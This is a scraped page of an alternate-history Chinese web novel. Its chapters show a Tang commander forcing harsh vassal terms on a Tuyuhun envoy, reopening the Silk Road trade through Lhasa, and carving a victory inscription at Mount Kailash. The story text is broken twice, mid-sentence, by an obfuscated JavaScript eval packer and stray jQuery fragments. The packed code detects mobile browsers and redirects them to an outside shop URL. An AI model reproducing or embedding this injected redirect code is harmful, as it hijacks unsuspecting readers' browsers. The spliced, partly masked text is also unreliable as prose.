就在唐军主力一边整顿逻些秩序,一边如火如荼地进行步炮协同演练、建立伤兵营体系之际,一队风尘仆仆、服饰与吐蕃人迥异的使团,在唐军游哨的“护送”下,抵达了逻些城外的唐军大营。他们打着吐谷浑王室的旗帜,为首者是一位年约四旬、面容精明中带着深深疲惫的贵族,正是吐谷浑王慕容诺曷钵的堂弟,王室重臣慕容孝隽。
吐谷浑,这个立国于青海之地、祁连山与黄河之间,一度强盛,曾与隋唐时战时和,后又长期在唐朝与吐蕃夹缝中艰难求存的王国,此刻正站在命运的十字路口。此前吐蕃强盛时,吐谷浑被迫臣服于吐蕃,缴纳贡赋,提供兵员,甚至其王族内部也**为亲唐与亲吐蕃两派,内斗不休。如今,吐蕃这头曾经令人恐惧的牦牛轰然倒下,被唐军以雷霆之势打落神坛,消息传来,吐谷浑王廷内部顿时炸开了锅。亲吐蕃派失魂落魄,惶惶不可终日;而一直心怀故国、暗中与唐朝有联系的慕容诺曷钵等人,则看到了千载难逢的机会——一个摆脱吐蕃控制,甚至重新获取唐朝支持以稳固王位、整合内部的机会。当然,他们也深深恐惧,恐惧唐军挟大胜之威,顺手将他们这个“反复无常”的附庸也一并抹去。
因此,慕容孝隽此行,名为“恭贺天朝大捷”,实则是揣着十二万分的小心,前来试探风向,乃至……乞求宽恕与庇护。
唐军中军大帐内,气氛肃穆。李瑾高坐主位,并未着甲,只一身紫色常服,但久居上位、执掌千军万马所养成的威势,加上新破吐蕃的都督之威,让他仅仅是平静地坐在那里,便给下方的慕容孝隽带来了如山岳般的压力。薛仁贵、郭待封、黑齿常之、王方翼等大将分列左右,皆甲胄鲜明,目光如电,沉默地注视着这位吐谷浑来使。
慕容孝隽不敢怠慢,以大礼**,献上礼单:骏马五百匹,牦牛千头,沙金百两,以及青海之地特产的珍稀药材、皮**。礼单不算特别厚重,但在这个时节,已是吐谷浑能拿出的诚意。
“外臣慕容孝隽,奉我主吐谷浑王、西平郡王慕容诺曷钵之命,特来恭贺天朝大军,犁庭扫穴,大破吐蕃,扬威绝域!我主闻天兵神威,欢喜无地,特命外臣星夜兼程前来,聊表臣服恭贺之心,并祈天朝皇帝陛下、皇后殿下、李大总管福寿安康!”慕容孝隽的汉话说得颇为流利,姿态放得极低。
李瑾接过礼单,随意扫了一眼,放在案上,声音平淡,听不出喜怒:“西平郡王有心了。听闻近年来,吐谷浑与吐蕃往来甚密,其王廷中,亦多有鼓噪与吐蕃共进退,乃至犯我唐境者。不知西平郡王对此,作何解释?”
这话问得直接而尖锐,慕容孝隽额角瞬间渗出细汗。他早已打好腹稿,连忙躬身道:“大总管明鉴!此实乃吐蕃恃强凌弱,以兵威胁迫之故也!我吐谷浑国小力弱,夹在两大之间,昔日吐蕃势大,铁骑屡屡犯境,我主为保境安民,保全宗庙,不得已而虚与委蛇,实非本心!我主慕容诺曷钵,素来心向天朝,感念先太宗皇帝、今天可汗陛下厚恩,从未敢或忘!今幸得天兵降临,摧破吐蕃,解我吐谷浑倒悬之危,我主及举国臣民,无不感泣,日夜翘首,期盼重归天朝羽翼之下,永为藩篱,誓不再叛!”
说罢,他再次深深下拜,几乎以头触地。
帐中诸将冷眼旁观,心中自有盘算。吐谷浑的“骑墙”是出了名的,其内部纷争也非一日。如今见吐蕃倒下,急忙跑来表忠心,无非是怕唐军秋后算账,或是想借唐军之势压制国内反对派。
李瑾手指轻轻敲击着案几,沉默了片刻。这沉默让慕容孝隽的心提到了嗓子眼。良久,李瑾才缓缓开口,语气依旧平淡,却带着不容置疑的力量:“西平郡王的难处,本帅略有耳闻。然,藩属之责,在于忠顺。既受大唐册封,食唐俸禄,自当与大唐同心同德。昔日迫于形势,或有不得已之处,朝廷或可体谅一二。然,往者不可谏,来者犹可追。”
他目光如炬,看向慕容孝隽:“吐谷浑欲重归大唐,非仅凭言辞恭贺可成。须有实迹,以表诚心,以安朝廷之忧,以塞天下人之口。”
慕容孝隽精神一振,知道戏肉来了,连忙道:“请大总管明示!我主但有驱使,吐谷浑上下,绝无二言!”
李瑾站起身,走到悬挂的巨大西域地图前,手指点向青海湖周边,吐谷浑的核心区域:“其一,吐谷浑须立即断绝与吐蕃一切残余势力之往来,不得收容吐蕃溃兵、贵族。凡境内现有之吐蕃驻军、官员,限期驱逐或缚送唐营。吐蕃所设之驿站、税卡,一概接管,交由大唐处置。”
“其二,”他的手指向西移动,指向河西走廊与西域南道交界的一些关键山口、河谷,“吐谷浑须开放境内所有通往西域之要道,允我大唐商旅、使团、军队(在提前通报并获得许可前提下)自由通行,并提供必要之补给、向导。大唐将于关键隘口设立驿站、烽燧,吐谷浑需提供地皮、劳役,并负责其日常安全。”
“其三,吐谷浑王需遣其世子,及王室子弟三人,入长安国子监求学,侍奉天子左右,以彰亲善,亦**天朝礼仪文化。”这一条,便是质子。虽是旧例,但此时提出,意义非凡。
“其四,吐谷浑须裁撤其常备军额,只保留必要之卫队。其国防之事,由大唐安西、陇右驻军协防。具体防区及兵力,由双方另行勘定。吐谷浑可保留部分部族武装,但需登记造册,其调动须经大唐驻军将领许可。”
“其五,吐谷浑每年须向大唐进贡战马三千匹,牦牛五千头,青盐万石,其余特产若干。具体数额,可另行商议。同时,大唐商贾在吐谷浑境内行商,税率需与吐谷浑本地商贾等同,不得额外加征,并受大唐市舶司(李瑾计划推动设立)保护。”
“其六,也是最重要的一条,”李瑾转过身,目光灼灼地盯着慕容孝隽,“吐谷浑须协助大唐,清剿其境内及周边所有不服王化、劫掠商旅、骚扰边地的羌、氐、党项等部族。必要时,须出兵助唐军平叛。其境内司法,凡涉及大唐子民、或重罪者,大唐有按律复审、乃至提审之权。”
一条条,一款款,从**、军事、经济、外交、乃至司法,几乎将吐谷浑的独立**剥夺大半,将其牢牢捆绑在了大唐的战车之上,变成了一个高度自治、但必须绝对服从大唐意志的缓冲国和前进基地。
慕容孝隽听得脸色发白,后背冷汗涔涔。这些条件极为苛刻,几乎将吐谷浑变成了大唐的附庸州郡。尤其是裁军、驻军、司法复审等条,堪称触碰核心。但他更清楚,如今人为刀俎,我为鱼肉。唐军挟大破吐蕃之威,兵锋正盛,若吐谷浑不答应,李瑾完全有理由和实力,以“反复无常”、“勾结吐蕃”为名,发兵征讨。到那时,恐怕就不是称臣纳贡那么简单了,慕容王室的命运,恐怕比吐蕃赞普好不到哪里去。
他艰难地咽了口唾沫,涩声道:“大总管……此等条款,关系重大,外臣……外臣恐需回报我主,由我主与国中贵戚商议……”
“可以。”李瑾打断他,语气转冷,“给你,也给西平郡王二十日时间。二十日内,本帅要看到明确的答复,以及执行第一条、即驱逐境内所有吐蕃势力的实际行动。否则,”他顿了顿,声音不大,却寒意凛然,“本帅不介意在回师途中,顺道去伏俟城(吐谷浑都城)看看青海湖的风光。届时,条件便不是今日这些了。”
顺道去看看……这话说得轻描淡写,却让慕容孝隽激灵灵打了个冷战。他毫不怀疑,眼前这位年轻却威势赫赫的唐军统帅,绝对说得出做得到。吐蕃数十万大军尚且灰飞烟灭,何况内部不靖、兵力孱弱的吐谷浑?
“是……是!外臣明白!外臣即刻遣快马回报我主,必竭力劝谏,使两国重修旧好,永为藩属!”慕容孝隽再不敢多言,深深拜倒。
“不是两国,”李瑾纠正道,语气平淡却带着无上威严,“是大唐与大唐吐谷浑都督府。望西平郡王……不,是慕容都督,能谨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011870|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记此点。”
慕容孝隽浑身一震,头垂得更低:“是……是大唐吐谷浑……外臣,谨记。”
慕容孝隽退下后,大帐中稍静片刻。郭待封忍不住开口道:“大总管,吐谷浑反复小人,今日势穷来投,他日若我大军东归,吐蕃残余复起,或其内部有变,恐再生事端。何不趁此大胜之威,一举灭之,以其地设州立县,永绝后患?”
这也是不少将领的想法。以唐军如今气势,攻灭内忧外患的吐谷浑,似乎并非难事。
李瑾走回座位,摇了摇头:“灭国易,治地难。吐谷浑地处高原,其民多以游牧为生,部落星散,风俗迥异,直接设郡县治理,耗费钱粮兵力无数,且易激起反复叛乱,牵扯我大唐过多精力。如今吐蕃新破,其地未稳,西域诸国尚在观望,河西、陇右亦需兵力镇守。此时若再陷入吐谷浑泥沼,非上策。”
他手指敲了敲地图上吐谷浑的位置:“留着他,有几重好处。其一,可为大唐与吐蕃残余势力之间的缓冲。吐蕃虽败,其地广人稀,部落犹存,难保没有死灰复燃之时。有吐谷浑在前遮挡,我可减轻西线直接压力。其二,吐谷浑地理位置关键,控扼青海,连通河西与西域南道。通过驻军、控制要道、经济渗透,我可将其牢牢掌控,使其成为我经营西域、监视吐蕃的前哨和补给站,其利远大于直接占领。其三,留其国号,用其王统,以夷制夷,可安抚青海诸羌,减少直接统治的阻力。其四,……”
他眼中闪过一丝深邃的光芒:“一个半独立的吐谷浑存在,可让西域那些仍在摇摆的城邦、小国看到,顺服大唐,虽失部分权柄,却可保宗庙社稷,享太平通商之利;逆反大唐,则如吐蕃,宗庙倾覆,赞普亦需俯首。这,比直接灭掉吐谷浑,更能震慑诸胡,使其知所趋避。”
薛仁贵抚须点头:“大总管深谋远虑。灭其国,不过得一荒芜之地,耗我大唐元气。控其政、驻其军、掌其道、取其赋,则吐谷浑名为国,实为我大唐之粮仓、马场、兵源与屏障。此乃釜底抽薪、长久羁縻之策。只是,那慕容诺曷钵,恐非甘心束手之辈。其国内,也必有反对之声。”
李瑾淡淡一笑:“所以,条款要苛刻,执行要严格。驻军必须精锐,控制必须严密。同时,可暗中扶持其国内亲唐派,打压顽固派。经济上,以茶、盐、丝绸、铁器等其必需之物,控制其命脉。文化上,令其子弟入长安,**·汉礼,读汉书。长此以往,数十年后,青海之地,言语书同文,车同轨,行同伦,与大唐州县何异?纵有反复,一纸诏令,一旅偏师,即可定之。”
众将闻言,皆心悦诚服。这不仅是军事征服,更是深谋远虑的**、经济、文化全方位渗透与控制。比起单纯的攻城略地,这才是真正的帝王之术,长治久安之道。
数日后,慕容孝隽带着更加谦卑的态度和吐谷浑王慕容诺曷钵原则上同意的答复(当然,具体条款还需细谈,但关键条款如驱逐吐蕃势力、开放道路、遣送质子等已应允),以及第一批“诚意”——五百匹骏马和百名吐谷浑贵族子弟作为“求学”人质(实为质子),离开了逻些城。随他一同离开的,还有一支由唐军中级将领率领的百人“宣慰使团”和五百精锐骑兵。他们将以“协助吐谷浑清除吐蕃残余、保护商路”为名,率先进入吐谷浑境内,实地勘察,并为后续可能的驻军做准备。
送走吐谷浑使团,李瑾站在逻些城头,遥望东北方青海的方向。降服吐谷浑,不仅仅是解决一个边患,更是他经营西域大棋局中,落下的一枚关键棋子。从此,大唐的兵锋与影响力,将越过祁连山,更深地嵌入高原与西域的腹地。而丝绸之路的南路,也因吐谷浑的归附与“合作”,将变得更加畅通。
“接下来,”李瑾心中默念,“该是让西域诸国,都看清楚形势的时候了。”他仿佛已经看到,于阗、疏勒、龟兹、焉耆乃至更远的河中诸国的使者,正带着惶惑与敬畏,在通往逻些城的道路上跋涉。吐蕃的倒下,如同高原上倒下了一头巨象,震动的余波,才刚刚开始向更远处扩散。而他,将利用这余波,重塑整个西域的秩序。
第167章 丝路复通畅
吐谷浑的归附,如同在高原与西域的湖面上投下了一块巨石,激起的涟漪远比预想中更快、更广地扩散开来。当慕容孝隽带着唐军的严苛条款和首批质子,在唐军“护送”下北归伏俟城时,关于唐军雷霆手段、关于吐蕃王城被破、赞普乞降、关于吐谷浑被迫签下城下之盟的消息,已如同长了翅膀的苍鹰,飞越雪山、戈壁、绿洲,传遍了西域诸国的宫廷与市集。
最先感受到这股冲击波,并且反应最为直接和热烈的,并非那些城邦国家的王公贵族,而是常年奔波于这条漫长而危险的东西方通道上的人们——商旅。
逻些城,这座昔日吐蕃王朝的心脏,在经历了战火洗礼与秩序重整后,并未沉寂太久,反而以一种奇异的速度,重新焕发出活力,只是这活力的源头与导向,已与昔日截然不同。城内最大的广场(原吐蕃赞普阅兵之地)边缘,几座相对完好的贵族宅邸被征用,挂上了崭新的牌匾——“安西大都护府逻些镇守使署”与“大唐市舶司逻所”。虽然建筑仍是吐蕃风格,但进出之人已多是唐军吏员、文士,以及穿着各色胡服、但神情明显轻松了许多的商人。
这一日,镇守使署旁的驿站外人声鼎沸。一支规模颇大的商队刚刚抵达,骆驼和马匹卸下的货物堆成了小山,散发着香料、皮革、羊毛和远方尘土的气息。商队首领是个高鼻深目、头发卷曲的粟特人,名叫康萨保,常年行走于撒马尔罕、于阗、凉州乃至长安之间,是个真正的丝路“活地图”。此刻,他正操着一口流利的、带着河西方言的汉语,与市舶司派来的税吏和译语人(翻译)办理着入城登记与抽解(征税)。
“姓名,康萨保。来自……嗯,小人是去年从撒马尔罕出发,经俱密、过葱岭,到于阗过的冬。开春后本想走南道经且末、鄯善往敦煌,结果听说吐蕃人把路给掐断了,还强征重税,劫掠商队!”康萨保说得唾沫横飞,比划着手势,“没办法,只好在于阗等了又等,都快把本钱吃光了!前些日子,突然听说天兵……哦,是大唐的王师,打下了逻些城!吐蕃赞普都投降了!连吐谷浑也重新归顺了大唐,商路要通了!小人将信将疑,可在于阗就看到有唐军的斥候和信使往来,还有安西都护府的布告,说确保商路安全,鼓励行商……这才咬咬牙,带着剩下的货物,绕了点路,从于阗直接北上,穿过羌塘边缘,一路提心吊胆,没想到还真有唐军的巡逻队接应,就这么平安到了逻些!”
税吏一边记录,一边指着货物:“都有什么货?要往哪里去?”
“主要是波斯的地毯、大食的香料、于阗的玉石料,还有些玻璃器皿。本打算到长安、洛阳贩售,换回丝绸、瓷器和茶叶。”康萨保说着,脸上露出如释重负又夹杂着期待的笑容,“到了这儿才知道,逻些城现在也能做生意了!唐军收的税,可比吐蕃人讲规矩多了!定了‘三十税一’的常例,明码标价,还有这‘市劵’为凭!”他宝贝似的掏出一张盖了市舶司朱红大印的纸质凭证,“有了这个,在安西大都护府辖下的于阗、疏勒、龟兹、焉耆,还有这新设的逻些城,一路通行,只需在首次入关时抽解一次,沿途查验放行,不得重复征税!这可是天大的好事啊!以往走这一趟,各处关卡层层盘剥,到地方利润能去掉三四成!现在……啧啧。”
旁边另一个风尘仆仆的汉人商贾插话道:“何止是税!关键是安全!这位官爷,您是不知,以前走吐蕃控制的南道,或是吐谷浑地界,那真是把头别在裤腰带上。吐蕃骑兵、吐谷浑游骑、还有那些羌人部落,说不准什么时候就冲出来抢掠**。现在好了,”他指向城外隐约可见的唐军巡逻骑兵小队,以及更远处山脊上新建的、飘着唐字旗的烽燧,“到处是唐军的旗号,每隔几十里就有驿站烽燧,驻有兵丁。沿途那些部落,见了唐军旗号,哪个不是客客气气?听说李瑾大总管下了严令,凡劫掠商旅者,无论部族大小,唐军必发兵剿灭,所得尽数分与受害商旅!这胆气,这规矩,才是做买卖的根基啊!”
周围不少等待登记的商旅纷纷点头附和,脸上都洋溢着久违的轻松和希望。丝绸之路,其核心在一个“通”字。路若不通,或有路而盗匪横行、关卡林立,则货不能畅其流,利不得尽其丰。李瑾在击破吐蕃、慑服吐谷浑后,第一时间并非急于撤军或继续征伐,而是以逻些和安西四镇为基点,强力推行了一系列保障商路畅通的措施:
其一,军事清道与威慑。以神策军精骑为主干,辅以归附的吐蕃、吐谷浑及当地部族武装,组成数支巡逻队,沿着主要商道进行高频率、不定期的武装巡逻。同时,在关键山口、水源地、绿洲,依托新建的烽燧驿站体系,驻扎小股部队,既是哨所,也是商旅可以求助的据点。对仍在活跃的小股马匪、不听号令的部落,进行了几次干净利落的清剿,并将匪首头颅和缴获的赃物公然悬挂于交通要道示众,以儆效尤。雷霆手段之下,商道为之一靖。
其二,颁布《通商敕令》。以安西大都护府(实际上李瑾代行职权)和朝廷的名义联合发布,明确宣布保护所有合法商旅(无论胡汉)的生命财产安全。规定主要商道沿途税率统一为“三十税一”,由市舶司统一征收,发给“市劵”为凭,沿途关卡(包括新纳入控制的吐谷浑境内关卡)见劵放行,严禁任何势力(包括唐军自身)额外勒索。同时设立简易的“商旅讼庭”,由市舶司官员与当地驻军将领共同审理商旅之间的**或商旅与当地人的冲突,力求快速、公平处理。
其三,重建并扩大互市。在逻些、于阗、疏勒等地,划出专门区域,修建市集,提供仓储、住宿(虽然简陋)、牲畜补给等服务,鼓励商旅定居交易。唐军自身庞大的物资需求和战后缴获的众多牛羊、皮**、药材等,也成为互市的重要商品和吸引力。官方还组织商队,将内地运来的丝绸、瓷器、茶叶、铁器等,与当地的玉石、马匹、药材、香料等进行交换,平抑物价,活跃市场。
其四,信息引导与信誉积累。利用驿传系统,定期发布主要商道路况、沿途部落动向、各地物产价格波动等信息,供商旅参考。对于遵守法令、信誉良好的大商队,甚至可以申请唐军小规模护送(需支付一定费用)。李瑾深知,信誉的建立需要时间,但一旦形成“大唐治下,商路安全公平”的口碑,其吸引力将是无可估量的。
康萨保的商队很快办好了手续,税吏按货值抽了解,发给市劵,态度公事公办却无刁难。康萨保小心收好市劵,吩咐伙计们将货物运往指定的互市场地安置。他站在驿馆门口,看着街道上逐渐增多的人流:有和他一样远道而来的粟特、波斯、大食胡商,有来自河西、陇右的汉人商贾,有出售本地毛皮、酥油、药材的吐蕃和小勃律人,还有巡街的唐军小队、采购物资的唐军后勤官吏、以及一些好奇观望的逻些本地居民……各种语言、各种服饰交汇,虽然略显杂乱,却充满生机。
“康老兄!”一个相熟的汉商走过来,脸上带着笑,“听说没?于阗那边来了消息,疏勒、龟兹的使节团,还有更西边的拔汗那、石国,甚至大食那边都有使者往逻些来了!说是要朝贺天朝大破吐蕃,重新……那个词怎么说来着?对,‘敕封’!都想从大唐这里得个封号,好安稳做生意呢!”
康萨保眯起眼,精明的小眼睛里闪烁着光芒:“看来,这逻些城,怕是要热闹好一阵子了,说不定,以后比敦煌、凉州还要繁华些。”他拍了拍同伴的肩膀,“咱们这趟虽然耽搁了,但看样子,是来对了地方。说不定,以后这逻些,就是西南丝路上一个新的中心了!”
他的预感没错。随着商路的初步畅通和安全保障措施的落实,逻些城以其特殊的地理位置(连接吐蕃高原、青海、西域南道和通往天竺的隘口),迅速从一个**军事中心,向商业枢纽转变。每日进出城的商队络绎不绝,市集
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011871|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的货物日益繁多,价格也因信息流通加快而趋于透明合理。唐军设立的市舶司,除了征税,也提供简单的货币兑换(主要是将西域流行的银币、波斯银币与唐铜钱、绢帛进行折算)、仓储租赁甚至小额的信货服务(以货物抵押),虽然原始,却极大方便了商旅。
更大的变化发生在人心。以往,丝路商旅提起吐蕃控制区,无不色变,视为畏途。如今,不过数月之间,“唐军威猛,商路平安”的口碑便沿着商道飞速传播。越来越多的商队开始试探着重新走上南道,或经吐谷浑故地前往河西。沿途新建的烽燧驿站,不仅传递军情,也成了商旅们歇脚、获取信息、寻求保护的安全岛。尽管偶有小股盗匪试图在偏远地段碰碰运气,但在唐军迅速而残酷的打击下,很快便销声匿迹。
这一日,李瑾在薛仁贵、王方翼等人陪同下,巡视逻些城外的互市。看着熙熙攘攘的人群,听着各种语言的讨价还价声,空气中混合着牲口气味、香料味、烤馕的香气,他的脸上露出一丝不易察觉的欣慰。
“大总管,”王方翼指着远处一队正在出售缴获吐蕃盔甲、兵器给西域胡商的军需官,低声道,“以战养战,以商补军,此策大妙。近日市舶司所收商税,加上互市抽成,已足以支付留守逻些及沿途驻军部分粮饷。长此以往,此地非但无需朝廷大量输血,或可反哺安西。”
薛仁贵则更关注战略层面:“商路通畅,则西域诸国与中原联系必然加强。其所需之丝绸、瓷器、茶叶,皆赖中原供给;其所产之马匹、玉石、药材,亦需销往中原。经济命脉相连,其**依附自然加深。大总管先前令我等善待商旅,严护道路,老夫今日方知其深意。此乃不战而屈人之兵的阳谋啊。”
李瑾颔首道:“薛帅所言甚是。丝绸之路,非仅是一条商路,更是我大唐经略西域、宣扬国威、羁縻诸胡的血脉。路通则财通,财通则人通,人通则政令、文化亦通。吐蕃昔日强盛,亦曾试图控制商路,然其只知劫掠盘剥,不知养护流通,故商旅困顿,其利不广,其威难久。我大唐则反其道而行之,护商、通商、惠商,使天下财货聚于丝路,而丝路之利,尽归大唐。如此,则西域诸国,其利与我同,其害亦与我同,岂敢轻易背唐?”
他顿了顿,目光投向西方天际:“如今,吐谷浑已附,南道初通。然西域广阔,北有西突厥余孽,西有大食虎视,葱岭以西诸国,亦多首鼠两端。接下来,我们要让这商路变得更安全、更便捷、利益更大。让每一个行走在丝路上的商旅,都成为我大唐威德的传播者;让每一件流通的商品,都成为联系西域与中原的纽带。待商旅之歌声取代羌笛之怨,驼铃之响盖过战马嘶鸣之日,便是西域永固,盛世绵长之时。”
正说着,一名文吏匆匆赶来,呈上一份文书:“禀大总管,疏勒、于阗、龟兹、焉耆四镇都督,以及拔汗那、石国、康国等使者,已至城外三十里,递上国书与礼单,请求觐见。”
李瑾与薛仁贵相视一笑。看来,丝路重新通畅带来的,不仅仅是商旅和货物,还有那些嗅觉灵敏、懂得审时度势的西域**力量。他们,是来确认新的秩序,并试图在新的棋局中,为自己争取一个有利的位置了。
“安排驿馆,好生接待。三日后,于镇守使署,本帅会见诸国使节。”李瑾淡淡吩咐,目光依旧平静。打通商路,只是第一步。接下来,如何利用这重新畅通的经济血脉,将大唐的**军事影响力更深、更牢固地注入西域,才是真正的考验。而西域诸国使节的到来,正是这盘大棋中,落子的好时机。
逻些城外,驼铃声声,商旅的欢声笑语与远处军营的操练号声交织在一起,奏响了一曲征服与经营、武力与贸易交织的宏大乐章。古老的丝绸之路,在经历吐蕃造成的梗阻与恐慌后,正以前所未有的活力,重新开始搏动。而掌握这脉搏的,已然换成了东方那个强大而崭新的巨手。
第168章 刻石燕仁波齐
逻些城外的互市熙攘,丝路驼铃再响,西域使者络绎于途。这一切繁华与秩序的初现,都建立在唐军无可辩驳的军事胜利之上。然而,李瑾深知,刀剑可以征服土地,却未必能征服人心;商旅可以带来繁荣,却难以铭刻功业。在这远离中原王朝中心、民族与信仰交织的雪域高原,需要一种更古老、更直观、更永恒的方式,来宣告大唐的天威,来铭记这场远征的意义,来为未来数十甚至上百年在此地的统治,奠定一块精神的基石。
他选择了勒石纪功。
地点并未选在逻些城内,那里虽有象征意义,但终究是人烟稠密、易于损毁之地。李瑾的目光,投向了逻些西南方,那片巍峨连绵、被吐蕃人乃至许多西域民族视为神圣的冈底斯山脉。尤其是其主峰之一,一座在碧空下呈现独特金字塔状、终年积雪皑皑的山峰——冈仁波齐。在吐蕃苯教和后来传入的佛教中,此山皆是世界的中心,是神灵的居所,具有无与伦比的宗教地位。在吐蕃腹地、在这座圣山脚下刻石铭功,其象征意义远超在任何一座城市。
“昔汉有窦宪,北击匈奴,登燕然山,刻石勒功,纪汉威德,以慑北虏,勋著竹帛,光照千秋。”行军大帐内,李瑾对齐聚的将领和文吏们说道,声音在牛油灯的光晕中显得沉稳而有力,“今我大唐王师,奉天讨逆,犁庭扫穴,破吐蕃于其巢穴,复通西域于绝道,功业之盛,岂在古人之下?当效先贤,刊石纪功,以彰天子圣德,以显将士忠勇,以慑不臣之心,以告万世子孙!”
众将闻言,无不心潮澎湃。燕然勒功,那是每一个武将梦寐以求的至高荣誉,是足以名垂青史的壮举。薛仁贵花白的胡须微微颤动,眼中闪过追忆与激动交织的光芒;郭待封、黑齿常之、王方翼等中生代将领,更是热血上涌,仿佛已经看到自己的名字与功绩,随着那铁划银钩,一同铭刻在亘古的山岩之上。
“然,”李瑾话锋微转,“此地非燕然,乃吐蕃圣山。刻石于此,非为炫耀兵威,凌虐其俗。当以堂堂正正之文,记我王师吊民伐罪、止戈兴仁之本意;以煌煌赫赫之功,显我大唐包容四海、泽被苍生之胸怀。铭文既出,当使吐蕃遗民观之,知天命有归,唐恩浩荡;使西域诸国闻之,知顺逆有途,王化可期;使我将士睹之,知功业不朽,血汗不负!”
“大总管思虑周全!”行军司马,一位出身寒门、以文采著称的新科进士激动地拱手,“刻石圣山,既能震慑,亦显怀柔,更彰我天朝上国气度!下官不才,愿为大总管草拟铭文!”
很快,一篇骈散结合、文采斐然又义理昭彰的铭文草稿呈到了李瑾面前。李瑾细细审阅,提笔修改了几处,尤其强调了太宗皇帝平定突厥、安定四方的功业,和高宗皇帝、武皇后(他特意加上了武媚娘)的英明决策,将此次西征的胜利归于“上承先帝遗烈,下赖陛下神武,皇后赞划”,并着墨于战后“通商惠工,兴教恤民”的举措,最后以“刊此玄石,以示将来。敢有犯顺,形此此石”的警告作结。铭文将以汉、吐蕃两种文字镌刻。
地点最终选在冈仁波齐山麓一处相对平缓、面对东方(长安方向)、岩石坚硬平整的向阳巨岩上。这里视野开阔,山下有通往象雄故地和南亚的古老商道,人迹可至,便于观瞻。
深秋的高原,天空湛蓝如洗,阳光耀眼却并无多少暖意,寒风凛冽如刀。李瑾拒绝了在温暖帐篷中等待的建议,亲自率领一支由精锐士卒、军中工匠、文书和部分高级将领组成的队伍,跋涉数日,抵达了刻石地点。吐蕃新任“摄政”(实际上是李瑾扶植的亲唐贵族)率领部分吐蕃贵族陪同前往,他们的心情复杂难言。在自家的圣山上,由征服者刻下纪功文字,这无疑是巨大的**。但另一方面,铭文中对吐蕃百姓的“安抚”之语,以及对吐蕃文化信仰“不加侵毁”的承诺,又让他们稍感安慰,至少,这比彻底毁灭神庙、强行改俗要温和得多。
巨大的岩石高约三丈,宽逾五丈,表面历经风霜,呈暗褐色,坚硬无比。数百名精选的、擅长石工和镌刻的士卒与工匠已经在此忙碌了数日,用绳索、木架在岩壁上搭起了稳固的脚手架,并按照文书用赭石预先勾勒出了铭文的轮廓。汉文在前,吐蕃文在后,字体均为端庄雄浑的楷体(汉文)和吐蕃通行字体,每个字都有海碗大小,深深凿入石壁。
李瑾站在岩壁下,仰望着那即将承载不朽功业的巨石。寒风卷起他猩红的斗篷,猎猎作响。身后,是肃立的唐军将士,盔甲在高原的阳光下闪烁着冷冽的光芒;更远处,是沉默的吐蕃贵族和少数被允许前来观礼的当地部族头人。
“吉时已到——!”赞礼官高声唱道。
李瑾神情肃穆,从亲兵手中接过一柄系着红绸的崭新铁锤。这并非寻常工匠所用之锤,而是特意用此次战役中缴获的吐蕃贵族宝刀熔铸、由随军巧匠精心打造,锤头镌有龙虎纹饰,象征着破除与**。他缓步登上脚手架,来到岩壁前,在“大唐”二字起笔之处站定。
深吸一口凛冽而稀薄的空气,李瑾目光坚定,双臂运力,挥动了铁锤。
“铛——!”
一声清脆而悠扬的金石交击之声响彻山野,盖过了风声。火星迸溅,石屑纷飞,在“大”字的第一横上,凿下了纪功铭文的第一凿。这一锤,不仅凿在岩石上,更仿佛凿在了历史的长卷上,凿在了在场每一个唐军将士的心头,也凿在了所有吐蕃观礼者的灵魂深处。
“万岁!万岁!万岁!”岩壁下的唐军将士爆发出震天的欢呼,声浪如潮,在群山之间回荡。许多老兵热泪盈眶,他们知道,自己参与了必将载入史册的伟业,自己的名字或许不会出现在石头上,但他们的鲜血与汗水,已与这功业融为一体。
李瑾将铁锤交给身旁等候的军中最好的石匠首领,朗声道:“以此锤,开此石,铭此功,告天地,慰忠魂,慑不臣!”
“谨遵大总管令!”石匠首领激动地接过重锤,转身对身后的工匠们吼道:“弟兄们!使出看家的本事!让这石头上的每一个字,都配得上咱大唐儿郎的赫赫武功!让千年万年之后的人看到,也得翘起大拇指,赞一声‘好’!”
“喏!”工匠们齐声应和,声震山谷。
接下来数日,叮叮当当的凿石声便成了这片圣山脚下唯一的主题曲。数百名工匠轮流上阵,日夜不息。铁钎与岩石碰撞,迸发出连绵不断的脆响,石屑如雪粉般簌簌落下。他们先在预先勾勒的轮廓上凿出深深的阴文槽,然后再精心修整边缘,使笔画清晰、深浅如一。吐蕃文部分,则由通晓两种文字的文书监工,确保准确无误。
李瑾并未离开,他就在山脚下扎营,每日必到现场巡视,有时一站就是半天,默默注视着那些在岩壁上挥汗如雨的身影,注视着那一个个饱含力量与意义的文字在铁钎下逐渐显现。薛仁贵、郭待封等人也常来陪同,望着逐渐成形的铭文,感慨万千。
“燕然勒石,窦车骑之功,至今为人传颂。”薛仁贵抚着长须,望着岩壁上已具雏形的“扫清妖氛,复通绝域”几个大字,缓缓道,“然窦宪虽有破匈之功,其后却因骄横覆灭。大总管今日于此圣山刻石,功业更胜前人,尤当思谦抑之道,善始克终。”
李瑾明白这位老将的深意和提醒,郑重颔首:“薛帅金玉良言,瑾铭记于心。此刻石纪功,非为瑾一人之名,乃为陛下之威,皇后之明,将士之劳,国家之利。功成之日,瑾自当效法卫霍旧事,解甲归印,不使陛下有‘功高震主’之虑。”
